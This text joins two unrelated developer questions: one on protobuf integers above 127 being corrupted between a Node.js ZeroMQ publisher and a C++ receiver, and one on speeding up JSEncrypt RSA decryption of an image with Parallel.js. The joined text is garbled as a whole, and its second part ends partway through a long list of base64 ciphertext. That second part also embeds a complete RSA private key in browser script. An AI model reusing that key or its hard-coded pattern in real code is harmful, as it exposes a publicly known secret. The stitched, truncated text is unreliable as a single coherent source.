I'm creating a test network where a node.js application communicates to a C++ application via ZeroMQ using Google Protocol Buffers for the message structure.
Data from C++ to JavaScript can be serialized, sent, received, and deserialized without issue. However, I'm having an issue moving in the opposite direction.
If the Protobuf message going from JavaScript to C++ contains an integer with a set value over 127, the data is manipulated some where along the wire where many of the bytes of the payload change.
Note that every message sent in both directions has a 4 byte header that works (seammingly) correctly so I won't include that in the conversation for now.
I've noticed that on the JS side before sending, the bytes for the protobuf serialized data will look something like this:
26,4,129,192,136,24,64,40 stored in type Buffer (npm).
However, on the C++ side after receiving, I'm getting:
26,4,239,191,189,239,191,189 stored in a std::string container.
I have verified that the bytes in the JS Buffer do not change up to the point that ZeroMQ sub is called. However, after that I can't tell what happens or when the values change.
I've tried forcing any use of Buffer types to Uint8Arrays with no luck. I haven't tried much else because I'm not sure what the issue is in the slightest.
This is the basic flow of the message creation on the JavaScript side.
var data = new ProtoData.Data1();
data.setTemp(128); // type is int32
var payload = data.serializeBinary();
var size = payload.length + 4; // 16 bits
var head1 = 4; // 8 bits
var head2 = 4; // 8 bits
var payload_buf = Buffer.from(payload);
// create the header
var header = Buffer.allocUnsafe(4);
header.writeUInt16LE(size, 0);
header.writeUInt8(head1, 2);
header.writeUInt8(head2, 3);
var msg = Buffer.concat([header, payload_buf]);
zmqPubSock.sock.send(msg);
Receiving this on the C++ side will have a completely different message received. Keep in mind that if data.setTemp() had a value of < 127 then this message would be received on the C++ side without issue.
I have image data(210KB) that has been encrypted via RSA algorithm. I would like to decrypt that encrypted image data into Javascript using JSEncrypt. I was able to decrypt the image successfully, but it took around 10 seconds. So I thought to use the multiprocessing in Javascript in which I want to use JSEncrypt functionality which is loaded in script.
How to use parallel processing in Javascript to speedup the processing. Or is there any other way to speedup the RSA decryption in Javascript?
Here is the sample code that I was trying for parallel processing in Javascript, but decrypt.decrypt was not working.
<html>
<head>
<script src="D:\parallel.js"></script>
<script src="D:\jsencrypt.js"></script>
</head>
<script>
var decrypt = new JSEncrypt();
decrypt.setPrivateKey('-----BEGIN RSA PRIVATE KEY-----\n'+
'MIICXAIBAAKBgQCsqVGJUP6PhkjLSk3BkVRxg9ikUMZjN1BLS+HmEcjlVbkbsSuO\n'+
'K9uMmtZ7rkmL5aXcLxzNS1fexlr/ixvHeaK43KDXxob5drxcwCaRpadm4JjEKWiG\n'+
'ExbRUIorzFRqxCKFTwXRLerXhyFrfTqv/XNA2F94XwWBNuE8cs9S0ude9QIDAQAB\n'+
'AoGAPMzq/3XcDmJ1I9EojG9G0ypgkYw4MBv8VGeGRuQgYFHNe2jqM4hSKbMksCzx\n'+
'jSfzPhQBCnHroXEr/izYPWgh2m73737TYMHN5UVp9Kt/D1Kg/CUu6SDB6L6hbSYK\n'+
'YkWwifBtPzNcpF9cy7DPVaFGEeCkBroy86VcoQ/cVR7Vk8ECQQDapO2ve9Y332al\n'+
'iW7+2rFxSOeXwdofAlGpv378rAUIWrkGH11a4AtXInaPlty3td225IE6SyJu6trU\n'+
'4ookVNtZAkEAyikwrR6fDOqBPNrVKclfLjdFdfOhVIgdDXcD9lUhmcLJxF9NPKAW\n'+
'cVeCloFuw8eaHv8h2SrUt2itTw/N3ERY/QJAXP8XhbNTezJPM4uQJWAZZwjOUJMI\n'+
'VnYjC+NCfPAht9r2pa8DgxqWWDp1WT+eo5j8M8VfXc8FV04XQ8MTZL6fCQJBAKCY\n'+
'RCDiuHrsN6p+NOQzIjd2lOl0lu6uClZN+4nOaxjY0qv7AUJt8iYr3INvYuyIPfjt\n'+
'uJfqHH1u3G54IZMfgIkCQHBNzxAMO1upPNl5pbzw8KZyNavk9F+uYa3M54cpIw2H\n'+
'uO34E31dml3/77FAaCe8lIo2ezs+nbYVC2nNQZmGtGs=\n'+
'-----END RSA PRIVATE KEY-----');
var r = new Parallel(["qc7zdvF+HPwCiihmjy1frb4qDhAFf+PNhCdlVQdyLMNKm32j2N161fiPv/IHdXWqN1BSlkcPOXSTMkPCkMF9CHb3F5J7l6aw7fmwisptnMDhnlo4ukS04IiGpF+yu42bACXafHDD/qZsBygBDpdc26scb6bb21msUOGcO20oOyk=","Am4K7lP8gGI6dnbDWyZ4N6w5Foxq3IlUmSuGB1JW8MQqTKeKSoCPsCTqS3xrONLfyegUrQlDvONy/xKtryyuL3a8d5jQtmZ/mcn6D/B0llQsPDo3ie6XGRS++oDuNrMDwLbGZrG5j//eWXfaSRueGGxUHQd5dHTwjb+h1Vu/tK8=","AyHcazMAc5EwYMS8RObBM8c6EX5l7BSQd8V2BVUvCM+6QWZCqV888wx1prPxfjM0zOsPYUaSowMwbbtnoeyRuBX4StT8I0+Rkj/iTXOOU5BILpTi9/s7kVraY0TDHed5ZVNlkoAUrK30ny/VYe7MvjL48ecCD2LPqRGl+/Wejnc=","kzMr9po2vakHM6vuAro64cMAU810+z4HN2Jo4QK4+z+bwHWTA+dPHq6on5oub6d5Ko4fx00nZeBnp/m6oe14kyIiqrF0Z751fZv8uSxQ7f6ar1e6lgTqtOAaGW//6xTPyJlgYaqCO3EgQnuHvQYHa6T3SXWN9M9pwhARUwjOics=","gNuTWUUYI/PfNNBfIofHUQEiPct0nzPkVLJBSufZ5Ilm1YtnloUeeSNmBnvdT9GpLU6Giu5g/fCLGbianBsQ7SUi2ASCYDw6SngY8X4jRBjjFXE8ct7c9S3rhEKSmwPwZ6v7cbpXGTSStuhCYAXmhlV5HwHyxNaIxMRMgWpgLE8=","M5RpmPTrd6s/Ur72Q9N5yxPdP9wWbP1zM9EMpjTZlPgVTX2DQG5bgcEapovyszj+3ceUxmexTcRkSuzEQ9FChK1Tk8IjQMvpbiHNO9Bgx2HXabO/3f9NR+OaxHxZxKSV5pMH2TYofbjzPo5GJZ4CZpObeBEHTKjBgGI+PB/ysMk=","L+K2jMDGOvW3Qt9BI1BB0E4WKkUHS8G6SPAqeozes+DZ1I4FSB5BbAW+yNV/I+YvoLD29Unlym5YvjQBi9+XZlG5SBf9TdTsj8AjBTS3CiQobWtzqNmBAnwpW2zWyJPqO5mTC6DvOADkXHsrKtBqJZCjHdb3f92QTFOlLfuWmsw=","pdK1GSDZC3rTFX8gHeDPTQDnBFxL8h0e2qtxiPKNhuatnvqw180E9nqebjIS15faEKEBK4iWxPwR58s7rH1VCnzzTyUln1bOk1TfHiE5SPp66eb9fUvwUQkw/98B0KkwJ/eMK+nMqqh3eURTYm/AtdwSwk+AQpdhRJtp/TGr/3E=","BKl+JVLvfssawrsUBtOe9KdQ4HxXKzUk24RxqMnukUncGMsTaT5LBeo6ngD04UkREoYuU3YngbR/EcZhEynTeCNsvpo9LhvHKwcxTcfKfc2URFiPK65ZLI4WxdJ02iptGNr3FBk8GkbLCOB3m5LI7POZ2faTe0TejJFIftBjbiE=","pAnR9G7U5T2pIEgiZNluAk7/i2/aDXbBtxD1N3KjMn3eDDTweZzoqFbHua2LRFMQ9Rfe0X481YdmM7rcNjlQ0BstkdkaHcE5PNOVKrxQxW3IAERbcvFy6guc2hslh/SFVhMqS4cVXGd82U0Pq3C9togv3Jgt4S9l9GBG4jKGP08=","FDP5NUmMLVNQmmpxGil0llq/0QeLNTlscuMC4q8/d/NX+0N7nMUB8rSKMtRof7SV7Thr5+tC+VViN1oYL2Hc//gysIyS0OYXJWiOWlTLXp0J7dL133h7G7OWZHX+H6Pl3EcgCPvM5YdtHWX5UFOFeLlnZlxR24Euc1XqFVG1o+c=","qg+5Yd8Tl2FZSZgvLOu/V99NRReXZz/MLzFwXs7Mzt2CsHDMZg3ejLK7FBL2zV7tIwapJH20IxtfRoHismAX2IOFhv8WwC/z3CEMXQXYhJA4kFIVOtSpIbCbyfqMUP27jidoIRAgzmLJzzr4AwD3VTdaJZKUi/Uv/DIWXJTtmVk=","ECicU2n2hVSq4DccqxEIPr61rUoLx9e6n9U5AG86D/Vc2uLpHW6sIoOFeAq/ZCcL/j2cp4oPXxsDiT6mbvF7WtMEVhbpgj2faJQcMGbAds7ycjAlBmm9qzdsE4PH0oAUk2vt9lkCodG87w/+IUltYCbGUncmClBuLsZ9t8rPX2Q=","KpT0qqQ+JzVNkBGmg70D80DYnW47GY5zkF6+CxgW76SSRpou2YxgDfyvJVCVE1qSoow4NFPbEJZMTqDcR33RTYdU9EIykLw6XbLchf9y2tecUGtYjLYCzv3SelwusadNswFUOsm5xsKxafnXkvGIvKyy1XO3snSYT3KVfboYDxg=","KQEPX36hqwKFGSF1n266L8d86hhZgHoZfSTxhAOt7+lQH9obRJoZObEq3WflHbJUGhF/6DMgDbre5YgPCq/0dL6/2taRSr2PkG2DsPM4Pkf63YhN8l6l4D0PHSSZP218Mi1x7ag4aiiu/ZHYuGGi0tcTW8wIWjt5U9sy6v8SHFQ=","eczqC+Q5sB+RgrhInvKSswDH0W5cZ+/mGnjFO7dS8DZ1l77gdCN468REMMnmh9DfIrAIgl+71SdywGggN/ildgACirpGXZQr+1RvB8UtDAUlDusfM2vtwB+Az5lymv4QpUekv66hJL0G/kGU4Z7QXJc31vZz3yRutkZJmOINJ7M=","hlHbyfShPCPdpncZ30RGxvbfXqhjbnXu+EF9LBBeTbzrI0i/tLIKL5fBQ0XOQOsxbBqGqE6F0VCfaGR9hbuM0b6fCLRPrp2LK3LK4qhXJ+Ha8WYAfM0xk/5XHgMcaeNMa1H4NrPX3EL0F4BTsi35yTGFJ2KWOAsDVFDRbYN3sF4=","mual4G7H5zF449HY903kKSk4KADFj6+2Lwa4S0tw5aBCUGxAsm8awYHS4vcXd+AtHUDNtrZUyxC4COLOanNQTQ2fdnf+5lWqqUNTS0F+YnLNndGjBU2RdjvZfiMEhciuxIGb68sx74LfvM07F99jEtKnp1PBL2sttbquYEQztss=","Migv5dRzIFj3PiaHBasj+3N6yOybgDMpEoSkwOki70yytgkU4ovu6UUqlL6m5a5fCO61W4YwiT3vV9AcxlMfBwmxcxJUXOf6O24Mf1Ps24pasHHu8QJ9HAviEq2erLtN69ftI2H0P4mvdrw2zwdLmHQ1pwxlO14TajDmnGjuUkg=","Gz4iPZvRGVe9VFK5rzeXgE0FItidX9iPAbN8UBTgxZcZmugpKDpnsDb/Y9WYAgG1Nvf7jux3QbtTsjsgNACrCZ4trhqW+d8fADURFVkaLvGrUTCxIcvjcnDPuc7sBpqUSZ36mteMhFn42rwaLzmCOATa0/gbrxZjckh1yJr94hY=","BVCa1XEO+9kmA8sEpgvaOvJx2D6Dle/sXcXiHHmgaWXKwl0JKsRmuG/8uC8qLRGLDsXMDSPDZM9tSOFk+SZjNl7I+X3JU9hrTi5Jf/2aTePJObUNffODmqTw0H29Ht8kxzoXQZ8XTeym1VVzdSFZ2co/2UNeiP23wfCEY1Laso4=","BHxfRJHVfzPnsAOlEoURAYQwJYlD5JGxBO5Fimi5Eh2r/41ZdDu1CCDj1cPiNhExb6xJlpK30ViV+4XUjy2+Ajfj3kyQTpTLP/vfiTZB5B0H/N0VBF2R0rxhglX7bMecMpoNTwWtsRuERhZTObEQCBJMF/Q1SxuyRO0mczjiy44=","W/KypEoAM8ZRipsYtP4jjm4i+3rFUwsU+9Ckl7EueOpf44nBTK568h994CTu4/uvYTJ5Tb79GdKQ1uCggQrK2Qc7vXiB+D1AkxgAs1CHAIAGKwkIuDwAdWxt/BEUjJ86pjh6TWpvY83l1s2pd92sFvGpFegsHtqVoyUgkTu2Cb4=","V/C3DczOIiM0kTEdRGRz2cbJWzP0s5MnrdZOOee/Zgid67r+FFKEC2VxbtG6yiXr2KmcIgHr9KVdAudjXxmjIEe9Xp8570DiglYSg7u0vyyClHPfYCZu1GUIjN+eFg9DX8WgXAMsbLVSMhTrRMEXlEvpm2hT+7b2TDceC2Oj8Do=","qrK6efhqToF5Bb+Nc11byzcK7y3rDYewXOYwZ1f4N8r3VoC9QUXO63BzDK+iT7T4RpL/BzywC7cwTS1+ozeaImXgrVSyYVdkWp+dzHh8tKFLrOULCmaRx6kKrKGQTYgJUd6Ajq4gjYT0eXVO0eFfPfnxjF/4oi1oZyPgBFmPLXM=","G7Cq9G1O/YEGtdyJMVmmVDekuGp4zvnqaTY+lCslFWzwfYFCEpo6Oebn16o3Uzdr76kGlaZ3DRHTWlQ5fn8rhDNyYi53cggtdeb1UQQzKBPkXeEipMhAwRTsP/9HD6fVZueVxfOCuskbQU9CxVPk2hiR7qX+q39fXbNsit/JCnE=","nrzc/2ZgBRKg/FzfvrGhrY2DxK59uKxyUJoHRSJ14jGza9mdAzYUJcjuCcjTePH8bNsiQm31glF6kF8Azqs6YDV1GpyHMRaVgUVa+9799vhZsIxOArq8LrQH274vLnvISSgi9gWjbXJObc55q/BE00AAyA7NioGID6jA0qk+Miw=","nBu7mW1HmUCOsSiC6lqwZt9kQzHiwvqS7t6Wf7gblD+YZpS2ykCBYu2WziOsZNHSXoNscEINEUsPE5LkPF/qG4fY2UqyGB/WfKts/6ZZfuotICHFGqRwDTL7QVaGE7Id9UML9aZdx9mHVfIJGOelGTdsiWMG5VjFXM17VE2I/nA=","oiXJ7hdyR12L/BM4iYmPuiw95zccrOssAMm08BJWr9Jh8exy5eHnBwr6QWXqT8dYo27ia05wRhgkXxFw8ak+gZ+6cmJdspeG5ATXn/mKsZNcDucoOdj5x4Jrpuz3ErBR2aOQD3R3apc3O3U5Og6unozkjNXWmji1QTbPdivvGtQ=","XwZCRae9cUkxWPwTnREDq+Rha0FN7t1O/RO3reTZ9bXajy4CvDkdcwaygW3zflZk8WO8/WQfoE9xkUZl23/qJxxr1YV2TZdDTJnZSj6n+PP7KRmzZZUVqkI8CYqp9eh4dE3oHqTrtd3nJY52a5PI6QnM3q4sgVLJQZs80CKpDsc=","WxyA4+otmD2XjwnfYWBkaxTokk3xQZqCGeJ4I0eeISOqy6XXXaJYeZrpeC3t369DVWT8YnM54qA1e9QNn77li4Qgq82DIJBmr5q/rCd+s94SmIYeWZxWPu/q6rxkHYogl/1KoDUJ9BfpF96mSmY9WYTq6KZ6zCKtUb/Ylrjy7hI=","k5Ezr4BOy2/rx71LnW2FhhgMfqMLHfFA9Oim3OEYxrcaGFyxLnbFC8vcjRfwDoALTfUi0o6zO4lxkwLiXzB6YnXDyW1ClSuD6F/4JacgpZo3ABdQA2Arz3sZ0vhBDNEIlM4vaBMJuqquBu4Y9jhIv9xIldaYUTjrWJz4wMtu4tE=","bVk0qNU6PuN6TwZnGLtXUTS0mBOBxjcW9tO22mTfY092d14wiBuDHaz4PNbzW8fBK7coPUjmNtAyobQpkFCuaTOBZ4oFJ5ccNWJFLEhQk4VJYq6Rs1UhL+BQqiial68+2jwpDJuEFBbMBfMS8BTZpBwlodmXTnBI7bFViNdk0sg=","O//CV2ww2HXu3RNEZvOrVjJVu2gSOOrzPtkh26cmMgRpEf900cF2EEffj1AC5JZUVXS6NoaKrUhqvNa0eq65feLe6He1Lv1enzzFMvquxpqIO13dz1cjM70C4wxgcArRFzqlbdfFd6k8gOhXy4i1vuz+uUG9UnyeiapO+ojJwMY=","cHNNtzaqEvUgF31mD2a81hOgJcGk+eL4tyJ7HXhTLw3d5jz0S6tdPgA/wBqWgQd4MS4wtLVXXG18HXCpL01dDkOjS06CAYRGxxQFJZvLvxYs4gsqnXYdT/fJC82HivxiwIoh+5ndLZY172JQI4pe7fjOojWrsQz9O6vXmh91tqU=","UeAUeS5VWElo5G7+On4/BpJywCY55BaSMcByzNpaCcLBfxaHQLSwman4nYLOYCo7DvrivpP8P7rrYtWbxEQuLmhznDU3Xf1FH4hipeY0kjs0q294reTtemhuyeLGx3L0Kr3CP1fvA9YLjC2W44a3nwqFHZ+cGjFiAIKBMDUxN1k=","WjmnSy/lT0NiSXgEhzDNioER/kPQ1AzqV0k+yDVyidSzgce4WsCLI3AOh3LQCQpDwhFEyLXI7O3OiPYS5utlLsQfJxtz7vvCqZt7XFPbJRyuKpEbKb8j5d16IQnExIitYN3N0iPeuNnbbEKtyf9rbsvMH0m/u2wfT+4ofAIuRbw=","O0rlz6xURLgH6MZntvhtulFAHoYgZcBkSuPmoagBSiygrmJDFZAwAyb56t/U/DVQuIis6ZO4iZIixCVh6RcNZAD4ZoAxKNVwB25doZEQ8RBCe4OesGIVM26mdBdGBrMFbBsVYbnyr1h31mNHRqSeCmh+nI+jsBQnYEqRhvcrgWw=","m/is3p/3n3ZrasTp/JxETjBwKn0V7K0TAP19P8+ibTwmOOXMGgZ5tQcORO+6RCS2Zp++SGyWn0NU+U0KXzhCYGJc6m5I5ZUzEbu1OPjUyrO/Tjdd6ECC5SxOPL8svXOiHvLg54kUJXX6THd+szkw9qSl0+Uw35/C8o5IkqjnHwE=","P4U6RzJgPb32yFk6U6oLsQtfa0zaEd9Q5W/t6t4N9Hd3jceIEAONLDoW4MX1smMHdEsZURRVzELrB768xaSLgpTHdhEiNUpOXfknTDulZ5TiLJg+PETI3FZmHLYscnYW/8DCMLB55dD/H3YymZlgQebPHKC7vX+4ZFDg58/rLgw=","EDko4Z8h4jl9pLvhRmTvztokHZV+nuvfcVQtKnGTJgmJbbSfur2+4HHUs/3rnEn30on0iWe5gXX/t65ExwdV5czq7fKUtGZFHQEHErdAg8LwsJsF6adUF5lZ7eANZO9vOmyo3/Zde2O/tuWaemoPkjbEJkyhso/X3SKnwEifKLE=","VZy3TezmtyEdjf21cpTiKhtfJ/L/iQvY2kRpu/6PG0owosia0FWS4kdNC62OknQNaevPGuQzn8ysuFaK+eNR4m+ngBn3KjGdMlyka6mVuqCKhVGvUeHXTjr1gSFDsp+QoGbCCJhSX53NfUhftN/t+IAK+KLDJRCvcjh1Ap0vc0U=","dILSmHS6ugK3Bg6U/YuHQ9TOLmIT/MjG+k4xNz4ayb9Wln9OEyW2MYC4U/lqx5ARO69u/15PuSsWV9dkU3XAXaoBxh0Y+ymnR5zoFgXGeY9lqJxt8dIZi19D0AYnOxIxbofDv8mfEB+6OypDc+mA9w4ebkQ7GTH0bk3hlDMyJEM=","Fhlj31Yo0KStffR9RWYe4IoxNQbrg8W0KIaD7eOfxCDmDQjS6B2EDFg+56esf6w0grHzGsFXMw91D7NHkLbJFp5k84Yd5C6i23/tV+3Qmz2GlrW+Atj56a8VqqpxuSbmgt7VGt/M0RzxS0C0apq0PvT8w02WnWwzsvt+5D+5uMA=","F6Jpq7Av814O4JnclvL9OjthpcyBHDKWrT3W0ZJ6yVg/l0E2GONBz67N7NwMew5WD+oXFO1Ez2cK0ywhbxYBkYe5EoimQUebHd6G/02gZ9D+UtYqo2r/Mw6JQ10ihDHDC4uRlu9ZH0AC58s9iIlTi7jmTfMxY4fA9WlsB0Cdr4c=","k8tqdPIYr4PY2sixPg3Tfz8t0EDi7/GX6LT0dGWILEW8ZR/BaNzoA7AXiWrYqR/xlwljiLiPlHcAFFTqR0eAk1WWXUlK5lxHQAv3sI5al/WJgdFXi1yLRSlaAHl7SDbX4N3G1F5XNm74x3Ie9dS7VpQTey/NipJtyNLa7rF6Fww=","p4Al6Ml5Fb5yVD9oiUfzjKCkVKxF8ChLSkimQsDNmdS3Xb6KpHnbFc1s02OwM9jgxH6u/UXbzsBV44s3STzjlFKMy4kcPh8dAxyuQLgb1RNdXsj6TF+pakNsurIPNNNvKmOK8VcEocRlWfuVrF/ZYMfnF7PrEfCFHn+gRSrPFsA=","HSvma4T4c6M9bhCXGtu6N3tKNwD9G4SuCHm3l0J6phup5utFKqFMVXc50dfcRJPIvfpgbvuMNI9wV+8tD6V/SmKT+s85ynUhr2/nVY+Q2raMjbn+VXJsefQOlyWLUAgB4DzOOqjdTtJrN90Isk0nCd2O9cAk2X4bBkP8JumszyA=","PoC+tajeijH20hk1WIroEsHH+rDYIUZmMXuqt2moX2rHJyOZhZWtCapud11GzwRK3cGSBQEmSnEtoCJO+LPRKYOi5qtAh1q6Kjrnj65TdXYlqYwmv4NpDi3NBGA0q/j6ibnswp5BcSoGhD7fSRc2vcaM4cBY2ygmN2hAcazIpeU=","e07WqMiu7Jvo/fX/r7z2HgqqU0twF63Cwze8zqfbpq1F3C9X4JyhPxJb6rhUoV8Wuvlbl8a8JlVqHnV4O82pUrMzTykgSFqgwvIXgA4QP8wtPhyZiDsm0cQOXt4kSiga47xJs40WiF79qg3h8AFLXyE+MdBUULkHzb2g3gyeYEM=","NOu/JVCSRYal1Hw2vpzWKUooDcxiz8pQqOpaDQVgjWTz0qkPWnELJuJ6CS4vUO525OhEIdy2P/VKV8aqhMoP3UAQkVPFFnjhcFgX+hpgWDWVfSz+rrrLYn9Dbu4BMA0Cldulv1Sd92FX0BbFomKWO+TmilQjE4HcqicsWc6uc5s=","R1jbDGZ06k2tdqwfYbW8LCfA5b5RYwKmROsthpEOmskPqDVqHmoT/lxnI0E4FpOpIWTXbQCsAO7JYuzNlnJ6ck80+auWrGzpqrlbauThyzvAZ/X45pc3YT3YwmlqFLDvSYXpUAiMYWExPTWYqCJthApqjzQ/UB47s7x6+D5BWrU=","jqBBt+ngGVsj0inDUgQSQ1P3TgyUNLQMdpSQ2mzcAwghzjJGs3w1FsxUfdL8sZ5De2FPLv03YfOShO0bG8N7qHQngnvDp16qiEms+a5V4MiyiAl8gHFfqP5K/AZhyiEr4SzIsO0l0qQiQeyHNY9onfNLRTH1p85aVMN0Xugxk4o=","dxlgTUdy0EfLWjW0TcyKLfocrc4m7aKEXblep9bzsQ/AmayLbxGiTixin6/WifeHPwXMzDVYHvEaN572GGRt6HRb3IkJc4urPHTIe1pgx88fXU8Ku+MMIixn9FvKkZniiQPnDmMiu0J/PtueFXd7lxDE+/yeK36K6ezhgGBjIWI=","AKqu94tL/qEDdEJY7tz6NuwFYSsvwNGTJ7vgGSOWQ3YKWjR2bIWzBcmekZglkP2laBZwWxLZrdCLuaY0aMolN20mV+TqdKEg86tNQ3HKX2CyZZOAMT9VSi/eHOTL8dczQh9DCIydJyXysxBctD54z/RoL2eAKu6Wx4fEoTCuiCE=","X+VpgInlMxzNqQm1A9RTCqwJgF2TaBqoW8hGnVz7pvjF5esmI7hdpWDzvFre58uKc5I2n/WmkWYYwRwTZP7RMUtG8tE1dUjC2ozTOjGuLrFab6Wik/FwcsIXoRE0gFt8oSg6/0B37xEv/TndZxE0G22b0GRQWD5YN6KTFJ6e5U0=","d5q1xGtrJtBbP/Rn9zMcCj5LG4jWd1CoWEpiIqBkyy4jbicOCcPolssZId8yaXYB2v4g8m+q0lcz0JrwS5qdABLLg/gQfkgYSagYEpQhw0PEGp3tDYh+Py1WW9Id/ZbGvAGuyc1+y/vykvW8aT06BrrWjOvdyb94Xtsl02Ak6Es=","PzRgvVjL8JciNA8Ev78ZxkFaVTpT1rQpPOnTO6p49pY7zTymAXOuPGEGjUgeTCVmOp7cRNW0+J5eRnt9AV2xdURMfkxXaC31L4esO4n+oGCIJ5kmnI4UoZbVI6JJamb3OhiupEcXMZaGaCvAACVsLiQ3Hx6cz6i3XMywYdH+syk=","TO9WBtE3Mh0Kk/YRbfXvVNJiecTRVIkCfC1vqvyRymRgLd5UZxiJwsO3VQ7lZccpesprGPUAHRg+biRwrpksZ8f/oeFqZAt8jZsutJj+bDkQkZvi7pgvy9uuaJ8VB/LHM0+P1vQQn0HIffjdXxIqce3xTO5fIibV9diLVb66+xA=","gpHf2CvGc2lRB8nObYYYH/gdV/pHMu5SpKew2LsVw49lwBrryRJkImK29EKrH90ar8ZOparzY0p4BSHjhjqzHhGfLfjg6Wyhq3OfAmdT1mOktz1FtMkbLTE3jutz1oE5pS3fUmH4wSA1nMz/dKboVUQHazsJHDf/L6aNH5xljyo=","WhgufHL7CNPftNtH5yCNDwtKpVf0fazGv4KY5M7WffTdkaVVfDX4JsSxyNFBPOYP0YqII7qwkSwZiQIjzbsJ1/CWv7B6lSEqDOH9qt3OGx5DWFsMK/I2BqZmaboSdzTK2SGrzy5n6fMWGJv3vUgBNsH71MigSoUfdM+o73GNqSw=","eZNBdVL3EK8sqBRuCVUDq7yIaNqNvcv0hqfweEolia0cAXLs0ZzJzfT3gpcek6y1m+O4sRNRGW4CkIF0yZE9aVe894cL7Wm66y+TX7EpmMd3c6Dg0s4/e0oq2fFWs9V/Z+kWmO33LY0Z9nlJoY9peMutN2ChYlkdwSDllAIJN+o=","TU7K+ORHQE77TKw6HQfPXRrn1/4fVJc7Jytl/+/hcB9uguvOjkP+jnGjz0dENKtZid9ow6Sp5EMfkOW7Cz9mmdvYgbISAM/IobwugMvVwz6ohynmenxYY9571UC9yjY56BhWjRidxAMavF/5Iilv5FiuZRP1u6CLzihkl8Sjmf0=","S4iqDR9x9MvNThJth73ZWlaCej3HIXkIfN4IMV9gOYbCc3e2WFOcv9zB5hRh8iEDLqOIe0zRmSV/lmRBdp5BuHUPYdpzkVPZHuC1MD3stKLcLtL6HEyAV4izeDi7iOJCddDX0EIPxwJHJhpEFV4gX7Qx7UBLmf7/ruQLHts6B1E=","QHi+H59vxGX65F8q9ZB8LFIT+1MXQW/pDoRRoWa9y6K7Xbk1+bI8cqa8FRC+vwO4zSlZd3PMMC+EgdJzj1S+mqpNmo2APJ7lxwxHn3Vs2Vw2/i+qOLdOwxlcATmp0WTsMBZ5C2gDPFkx1VqGfUMaHZOxjjf0O5hYpKkD4v0jSJs=","A9mAf8HtpsOrIFvLM8mjYEAWLgGXtn3nnxGB3MkFOqMBEwou0o85wMWhAORCyd8EkI0otEM8iRc4j+QVYxKXs/p4FMJOfblRo3/Z5ppKOBWXSNsKS7PZm/gjyFmQpOzDlKGhoKch0PzzQ5O45uff2rbNQg9sSyM58AmCz780Eaw=","F/ETESVxG0eLZa36c70nlYYtPwb3j3980zAExAuT50jzUR6JpjkKSqk3yI6rtf3+mlpEVNzVYL49hwV2Jo02bwhr7Cmc/zS/V7v8qtmj+NA1ALpDNGiqjFW9Kj5UmnO2IKq3swg426nlIQt8W22djkW3/DQ5bJCl/WX3HLyRqVk=","qTpQK5CrGWBuJ9fhVXaNg+ujF02eMUmuakWB5U6HN9YdEyj5/VqaFUZbeojPY0asfgfvPm3gPQJYn/FXoSHxQM5vTSVvx/cZ8/TiQgLeZ+eB/09UMTqUSPDNE+R+D98VC/VomMLIQJebw9WVa83kVTEcYHKt44VmssmHEubSOOw=","YzH4OB4r76S/YFPp8VN0cUNTwb75ww5NESVDWFWl4EYWRfWKNH/CJX4SVi4fqhiRyjuwO/38LnAd5GWqTYxo37I1oESixQQLUeBYl8jtyUjBu2HYg6zy8RRAuwwgKVsD3gcbenHI2PwHp0zkOOEOivJqZ4SckudGlfQl2Q1hTEs=","E/bjX7PLBBkzb5SBz+EMDLNGcVM2+nUXM8Yqrwpax8nIStbhrfQWMmwAOQUG5kcC4jSlbrqezr3F3zcqeXs9sx5jA045/GsiL4oCE6ksImZhexdueeqEGO0+ZVHZhVUkRbdR50p+dbDDGf5ta3ZrtnfXqRCua4lQowtu42p8g3s=","nFzwyGZI2rSEL8iRj+RkVdKMGQEQq4In3ICTOk/Iop7dCC6oocHz82p+Fgm/EOYYAoL/SHQOzegBqIVAKz1Bx0I+Wf9qMXhfkXMTNKKHzWoClJ3PWLR28+cW/2oPQJDq5D32OmBvR02V7rgd72P1XRUCkp41vn0R1tl9px1Rmow=","deFVExlJA/nu9tm5jexmlbwoL0w/DBswGXPA4EeH+kUlPwhm+kp9v8twfWH5/l7DpExwMKtamKHh7R08xeni2LyzbShuiGtrC5Ocqy1WgXYM5STSMiNbRHf9JfY04Y0chZLxc3r5U6DL2JgM0cjT57tYof1Vqi5zKzk9KwBR2w0=","UEthrGKi8xwfpLLoyvlF4gvd1g0LzbskZ4vDH62BRCGEXD4LKjwzoZFlSmggoCA3gCW3FOA6nIvR2U3RnAdDuUDmmiLkOmFbO2jX2hQXlxy2raJIr3V2LqkQODhKDfl93bNXC3kScFbMdV+m85kt+ojnIiaXJgifuU0tnwsaPWE=","GlU82nmfWxxyLRkGJalpAdZduaEBcnOYRX/yYJ+FdEIERk7zUynx9/b5Gor+1K5wPL18JUoix810fTrR7p0mbCIz1ULo6i/xvLRuzZSmmiaHqd88ndIZfRcoCyaVbSwsUBoGqsdFT4DrlfMblXINLnrPReTzi8rfw23AqxcsJyo=","Sa9YB1hCAa7U6CKWrE06Aq3pmyhhumE+slQigol8GlTlhZLkSDW1+ouo13a7oM5muWm5XTXHobUqp6NLiUlskssMaj+fZw/DhS7Zg4x21nMKHapRvKznHYxDd97WWxXjj8R5begHclwzKocsDOt0Q4tkeNaciGwMeJqsydleLpk=","CyUljtJTNpvdDC+8dKZrRpty8ghjzTEf63BRk/Wy22fdhWbh4/hFWe72DjUkAJlSlXKa1YjmNfywmsSvsVBrUnHfGsiHwpVc41rsHTtS65TKzCXlQbMHf3mxoH7AUdpIfWM6Mj3VVJ45K0VjU5sRHG3s/zc4/TfwPxXFYaZAzog=","fwFVoIiOw0zPcKV2SY0azNDgAem9cVPGtBqVHOTpoeraF3+UvfbIfz1q+k04HiCu4EhzRxAWej/qO1bdOhqhrlrM1XLhie4UIWuOvvPU9YhEl10vC1mwxJHcxafV+sV2ecKJgm6eL4Cr75WDCXy9mis3AXNyE8VvcKGI5/VjlDg=","pLX6+eMgTN8Dki0VeQeNeCMt+WdWcFqvJmsRaQIZs9gWqPEexYKZAR37w/Q4J0Fy2xhiIdrYAmKy+rr+QWGxRJD5Bm7ncosy54dMSIRw+2U4jKvWCGNJT+7qoSAjJxI7dEVrMnfJwnF+E5RXlwDDHpsoFrfKlEa2kyWg8N+/bXY=","DX6ovXoKM6yeN7L9VW2eCEzX8hrmhYBl6rW8Fk7HV5/YiLYixgfPeqSVKqlwr4USPprnxt6zPeO7VzdEjX/1JtSnzBmCXAFK4YgTupK7hnG3q8lPlNx1Qg1Jjnkn+UtXD8kikDbd2KXN6Ms7xrgvwle8BJ+CtbkeZ1l6W+QF6gg=","a/UJOceOWKLT+W7i5zxLnEFjnFHUoCAVZ/1YGRYPks9yyucRskxN4ny3Prmp